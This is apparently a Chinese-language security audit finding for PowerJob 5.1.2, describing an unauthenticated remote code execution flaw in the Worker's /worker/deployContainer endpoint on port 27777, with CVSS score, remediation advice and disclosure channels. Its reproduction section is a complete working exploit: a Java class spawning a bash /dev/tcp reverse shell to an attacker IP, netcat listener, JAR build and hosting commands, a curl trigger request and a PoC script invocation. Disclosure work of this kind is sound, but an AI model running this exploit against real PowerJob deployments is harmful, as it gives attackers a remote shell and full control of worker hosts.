/worker/deployContainer 未授权远程代码执行(任意 JAR 加载)PowerJob Worker 在其 HTTP 传输端口 27777 上暴露了 deployContainer 处理器,且完全没有身份验证。攻击者提交一个任意 URL;Worker 会下载该 JAR 并通过 URLClassLoader + Spring ClassPathXmlApplicationContext 加载它,在 Spring init-method 期间执行任意代码 → Worker RCE。默认的 docker-compose 会将该端口发布到宿主机。
前提条件(如实说明): Worker 必须正在运行(27777 端口正在监听)。在默认配置下,Worker 在启动时会验证其应用已在服务器上注册(/server/assert);如果应用未注册,Worker 将无法启动,27777 端口也不会监听(已验证:Java 进程以退出码 1 结束)。因此,严格的全新“docker-compose up 且未进行控制台设置”状态无法直接利用。然而,PowerJob 的正常运行必然要求应用已注册且 Worker 在线(否则系统不会调度任何任务),因此任何实际使用的部署都天然满足该前提条件,之后该漏洞即可在零凭据下利用。相比之下,同系列发现 PJ-08(服务器 /friend/process)没有此类前提条件——服务器在启动时无条件绑定 10010 端口。
powerjob-worker,通过官方 powerjob-worker-samples 镜像部署)docker-compose.yml 中的 worker 服务,HTTP 协议,端口 27777(PowerJobWorkerConfig.java:34)请求体 ServerDeployContainerRequest(字段 containerId/containerName/version/downloadURL)。
WorkerActor 处理器完全信任 downloadURL。OmsContainerFactory 从任意 URL 下载 JAR 并立即调用 OmsJarContainer.init():URLClassLoader 加载 + Spring 上下文 refresh() → 恶意代码在类/Bean 初始化期间执行。前提条件: Worker 正在运行且 27777 端口正在监听(任何生产/演示部署均满足;如果运维人员按照官方流程操作并创建了示例应用,则 Worker 在线)。对于复现,Worker 可以使用 --powerjob.worker.allow-lazy-connect-server=true 启动以跳过应用注册检查(不建议在生产环境中使用;请注意该开关仅影响 Worker 是否上线——它不会改变开放端口上缺失身份验证的问题)。
OmsJarContainer.init() 的要求):
PACKAGE_NAME=com.evil 的 oms-worker-container.propertiescom/evil/Exploit.class — 一个暴露 Spring init-method(例如 run())以执行命令的类oms-worker-container-spring-context.xml — <bean class="com.evil.Exploit" init-method="run"/>POST /worker/deployContainer,请求体为 {"containerId":1,"containerName":"x","version":"1","downloadURL":"http://<attacker>/evil.jar"}。OmsJarContainer.init():OhMyClassLoader.load() 加载类(运行静态初始化器),然后 实例化 Bean 并调用 (以 Worker 的运行时权限执行)。无输出回显:
deployContainer处理器返回void,因此 HTTP 响应不携带命令输出(已验证:空响应体)。对于交互式命令执行,主要技术是反弹 shell(参见下方复现);标记文件变体仅是本地、非交互式的验证方式。
环境:JDK 21,源码构建的 powerjob-worker-samples-5.1.2.jar,Worker 监听于 192.168.49.128:27777(使用 --powerjob.worker.allow-lazy-connect-server=true 启动以跳过应用注册)。
主要方式 — 反弹 shell(交互式命令执行):
恶意 JAR 的 Exploit.run()(Spring init-method)会生成一个反弹 shell。由于没有输出回显,这是在 Worker 主机上获得交互式命令执行的有效方式。
# 1) 攻击者先监听:
nc -lvnp 7878
# 2) 构建恶意 JAR — Exploit.run() 运行 bash 反弹 shell
package com.evil;
public class Exploit {
public void run() {
Runtime.getRuntime().exec(new String[]{"/bin/bash","-c",
"bash -i >& /dev/tcp/192.168.3.17/7878 0>&1"}); // LHOST:LPORT
}
}
# oms-worker-container.properties : PACKAGE_NAME=com.evil
# oms-worker-container-spring-context.xml :
# <bean id="evil" class="com.evil.Exploit" init-method="run"/>
javac --release 8 -d classes Exploit.java && jar cf evil.jar com/evil/Exploit.class \
oms-worker-container.properties oms-worker-container-spring-context.xml
python3 -m http.server 8000 # 托管 evil.jar
# 3) 触发(无需凭据):
curl -s http://192.168.49.128:27777/worker/deployContainer -H 'Content-Type: application/json' -d '{
"containerId": 3, "containerName": "evil", "version": "3",
"downloadURL": "http://192.168.3.17:8000/evil.jar"
}'
或者,使用脚本进行验证: python3 powerjob_worker_deploycontainer_rce.py 192.168.49.128:27777 http://192.168.3.17:8000/evil.jar --build-and-serve 0.0.0.0 8000 --reverse-shell 192.168.3.17:7878
PoC 关键点:
OhMyClassLoader.load()仅调用loadClass(),它不运行静态初始化器;实际执行点是ClassPathXmlApplicationContext.refresh()调用的 Spring init-method。因此恶意 JAR 必须携带 Spring XML 并声明init-method。反弹 shell 必须通过/bin/bash -c运行,因为/bin/sh(dash)无法解析/dev/tcp。
deployContainer 并验证来源。downloadURL 限制为受信任的内部地址;在加载前验证 JAR 的哈希/签名。CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H = 9.8 严重PowerJob-5.1.2/audit_report/SECOND_AUDIT_REPORT.md(PJ-09)192.168.49.128:27777,无凭据 → Worker RCE);参见 ## 6. 复现PowerJob-5.1.2/audit_report/poc/powerjob_worker_deploycontainer_rce.py(自动构建 JAR + 托管 + 触发,--reverse-shell,-p/--proxy)SECURITY.md 渠道提交(Tidelift / [email protected] / GitHub Security Advisory)| 项目 | 值 |
|---|
| 入口点 | POST http://<worker>:27777/worker/deployContainer |
| 处理器 | powerjob-worker/.../actors/WorkerActor.java:32-35(@Actor(path="worker"),无身份验证) |
| 下载 | OmsContainerFactory.deployContainer:97 FileUtils.copyURLToFile(new URL(request.getDownloadURL()), jarFile, ...) |
| 加载 | OmsJarContainer.init() OhMyClassLoader.load() + new ClassPathXmlApplicationContext(...).refresh() |
ClassPathXmlApplicationContext.refresh()AbstractScriptProcessor.java:118-123 也支持从任意 URL 下载 → Worker 端 SSRF。